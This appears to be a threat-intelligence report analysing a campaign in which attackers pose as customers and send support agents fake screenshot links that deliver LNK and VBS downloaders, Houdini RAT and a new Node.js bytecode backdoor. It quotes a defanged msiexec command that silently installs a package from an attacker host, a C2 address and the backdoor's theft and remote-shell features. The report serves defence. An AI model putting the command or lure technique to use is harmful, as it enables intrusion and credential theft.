Operation Ice Breaker

Social engineering prior to sending malicious links to hide executables is a clever tactic, as this threat actor was well-aware of the fact that the customer service is human-operated.
Without proper guidance for the teams on the other end, it almost seemed logical that an unregistered user would be having trouble logging in or registering, and thus the attacker sends links to images instead of embedding them in the chat.

Out of four incidents, only one used DropBox as trusted downloader link.

It was an option the attacker didn’t choose initially, but following his frustration over transcripts of the conversation, when his screenshot lure did not follow through he had no other choice.

The main payload they chose was something that hadn’t been documented before.

The 2’nd stage is complex, involving Node.js compiled binaries (.jsc) which are embedded in the malware executable and are being decoded at run-time.

Analysts were able to find the tool that is responsible for generating the bytecode of the .jsc, called Bytenode.
As far as Analysts know, generating a malware using this technique is easy; however, reverse engineering this bytecode back to the original source code is highly complex.

It is important to highlight that many operators in the gaming/gambling industry provide support to their clients via dedicated channels handled by them, or in some cases they outsource this operation to specialized companies (BPOs) in an attempt to reduce the operational costs.

Depending on the nature of this customer-business relationship, there are several risks associated thatAnalysts cannot leave aside, and this is exactly what this APT actor is trying to exploit here.

The Modus Operadi of the attacker is to pretend to be a customer of the website with an issue, such logging in or registering, when in reality the “visitor” does not have an account.
This should be the first indicator that something is not right.

The 2nd indicator is that the attacker wants to share a screenshot of his problem with the team, but instead of attaching an image, he is sending a link to download it from external websites.

Those websites are fake copies impersonating the online service screenshot[.]net, usually using domain names that look like the official one by abusing several characters in the Unicode Standard, also referred to as IDN Homograph Attacks; or via DropBox links to deliver the malware to the costumer service representative.

Based on the evidence collected, it seems that all of the individuals carrying out the attacks are not English speakers, who intentionally choose to speak with non-native English customer service representatives, probably to reduce their chances of being detected as scams.
As an example, in one of the incidents handled by our team, the attacker even asks for a Spanish speaker, and when approached with one, he immediately changes back to broken English.

Looking at the intrusions of this threat actor from the outside, without going into the details,Analysts are dealing with a fairly simple control flow.

The control flow consists of only two stages, each one with a clear objective.
The threat actor is distributing two different types of payloads to the victim during the conversation.
According to the data Analysts have, the LNK file is the primary payload and it is the first one presented to the customer service agent.
The VBS file, on the other hand, is only shared as a backup option in case the agent is unable to open the first file.

Depending on the malicious file executed by the victim, either the LNK or the VBS, a different payload is provided.
If the victim executes the LNK downloader, it will fetch and execute an additional MSI package containing an IceBreaker Backdoor, which is a new threat has not been previously described, as far as Analysts know, in any other publicly available threat intelligence report.
However, if the victim executes the VBS downloader, it will fetch the infamous Houdini RAT, a VBS-based Remote Access Trojan that has been active at least since since 2013.

LNK File Anatomy
The threat actor is distributing LNK files via a set of domain names that mimic the legitimate domain “screenshot[.]net”.
Once the victim accesses it, the website presents a very simple view to download the allegedly “screenshot”, in an attempt to deceive the customer service agent to download the malicious content

Once the customer service agent downloaded the decoy file supposedly to be the screenshot reported by the threat actor in the conversation, he/she was required to unzip its content and run the extracted LNK file on the machine.
To make the threat more convincing to the victim, the icon of this Windows Shortcut was changed to match the default Windows picture icon
The purpose of the LNK file is fairly simple to understand, it downloads an additional MSI payload from its C2 server by abusing the trusted Windows binary msiexec.exe.
Below, an example of the command executed by a malicious LNK file is provided, in it, it is also clear the attempt to impersonate one more time the official website screenshot[.]net by abusing some characters of the Unicode standard.

“C:WindowsSystem32msiexec.exe” /i hxxps://down.xn--screnshot-iib[.]net/92713 /passive /quiet /qn
The arguments in the command line are the following:

/i : this argument is used to specify that the installer should perform an install operation.

/passive : this argument is used to display progress bar only, it does not prompt the user with any user interface.

/quiet : this argument runs the installer in quiet mode, with no user interaction.

/qn : this argument is used to run the installer with no user interface.

Once that file was launched, our team was able to capture the execution flow, isolate the machine and begin the investigation.
Having the knowledge of that user belonging to customer service immediately triggered a suspicion that this executable’s origin is from an external service.

VBS
The received file is a Visual Basic Script which has some tricks to deceive researchers during the analysis.
First of all, the version of this script is a modified version of WiStream, which is a Windows Installer utility to manage binary streams.
When executed, it uses a sleep resource to delay the execution and mixes the WiStream source code with the malware source code.
The code itself is small, only using 4 lines of the actual script, which are distributed through the body of the VBS.
The malicious logic of the script can be summarized as follows:

The string that will contain the URL of the malicious server is initialize.
It contains the “http://” string and some random data that will be removed later.

The request object that will be used later to submit the data to the malicious server is initialized, and the malicious URL is completed.
It contains the IP address of the malicious server hardcoded in an octal representation.

The “User-Agent” header is set to the local time of the infected machine.

The response of the server is gotten and executed.

2nd Stage & A New IceBreaker Backdoor
Two different payloads are being used by this treat actor during the second stage of the attack.
Among them only one stood out because it implements several techniques never seen before, in a public available report.Analysts provide the details of each threat found during the investigation in the following subsections.

Houdini RAT
Only when the victim downloaded and executed the secondary payload distributed during the conversation with the attacker, this threat is launched.

The threat found during research matches perfectly the behavior described by Mandiant in their report, the only difference is the C2 hardcoded in the script, which in this case was set to 194[.]5[.]97[.]17

IceBreaker Backdoor
The MSI file downloaded and executed by the Windows shortcut is the starting point of this second stage.
If the reader wants to follow the analysis of this threat, the details below could be used to download it from the OSINT platform of his/her preference.

The structure of this stage can be divided into three layers.
The external layer is the MSI package, which also contains a huge set of decoy files that only exist to confuse analysis engines and signature-based detectors.
In addition, this Microsoft Installer was created using the software EXEMSI, and it was also configured to deceive users by pretending to be a legitimate software installer.
Among the analyzed samples during this investigation, the products Avast Free Antivirus and Formware 3D were impersonated by the threat actor.
The only relevant file inside this MSI package is a CAB archive, which acts as a second layer of protection and contains a compressed version of the malicious backdoor.
The installer extracts this archive to the Temp folder, and finally, the third layer of the attack is executed.

It doesn’t really matter what modifications are made to the MSI package; its purpose is always the same: to drop and execute an embedded PE file called “Port.exe.” This embedded resource is the most interesting part of the attack.
It is a PE file written in C++ and compiled for 64-bit systems.
Its size is larger than the average malware sample typically handled by a team, and it contains many references to Node.js, including but not limited to its icon, several strings, and additional software properties.

After a close inspection, something unusual was found in the overlay of this file.
To clarify, the overlay of a PE file is a portion of data that is appended to the end of the original executable.
This data is not loaded automatically by Windows when the file is executed because it is outside the PE structure.
However, it is a fast and easy way to add additional resources required by the software without affecting the structure of the PE.

Storing data in the overlay is not inherently malicious, but it is a technique commonly used by threat actors to:

Bypass signature-based detectors by easily changing the hash of a PE file without modifying its structure or functionality.

Make the process of analyzing the file more difficult by dramatically increasing the size of the file with random data, making it harder for analysis tools to handle.

Hide additional resources such as other PE files and binaries that will be loaded during the execution of the file, particularly in droppers and packers.

In this case, however, a very characteristic structure was found in the overlay.
It wasn’t just random data or highly obfuscated binaries that were left there by a packer or dropper.
In this case,Analysts were dealing with something additional: a type of binary data used by the JavaScript engine to speed up the parsing process of JavaScript code.

This type of binary is usually called V8 Bytecode, and it was introduced by the V8 development team in 2016 with the addition of their Ignition interpreter.
It is an abstraction of machine code that represents the code of the script and is interpreted at runtime by Ignition.
It contains hundreds of bytecodes that can be found in its source code.

From the developer’s perspective, it is very simple to compile such binaries with the help of the node package bytenode.
It allows any developer to get a fully working JavaScript compiled code with just a few command lines.
However, from the analyst’s point of view, there is a significant challenge that must be addressed to completely understand the inner workings of the application under investigation.

Several attempts have been made to decompile this kind of code, but there is still a lack of tools that can keep up with these developments.
In fact, based on research,Analysts have identified only two different projects that try to tackle this challenge using two different perspectives.

According to research, Analysts found:

ghidra_nodejs: A Ghidra plugin capable of decompiling Node.js versions v8.16.0 (V8 version: 6.2.414.77) for both x64 and x86 architectures.

jsc-decompile-mozjs-34: A JavaScript bytecode decoder compatible with spider-monkey version 34.

None of the solutions above are suitable for analyzing this sample because they are incompatible with the Node.js version found in the samples.
Analysts are currently conducting additional analyses to address this issue and to help the community deal with this type of threat.
However,Analysts still obtained relevant results about the capabilities of the malicious JSC artifact by looking at its strings after extracting its contents from the overlay.

Based on the abovementioned,Analysts concluded that Analysts are dealing with a new modular backdoor written completely in Node.js and provides threat actors with a set of functionalities such as:

Customization via plugins that extend the build-in features of the threat.

Process discovery.

Steal passwords and cookies from the local storage.
It particularly targets Google Chrome.

Enables a Socks5 reverse proxy server in the infected machine via the open source project tsocks.

Persistence is achieved by creating a new LNK file in the startup folder “MicrosoftWindowsStart MenuProgramsStartupWINN.lnk”.

Exfiltrate files to the remote server via web sockets.

Run custom VBS scripts in the infected machine.

Take screenshots from the victim’s machine.

Generate remote shell sessions.

All these capabilities in addition to the very low detection rate of the payload, which during this investigation, has remained close to zero even after 3 months of its first report.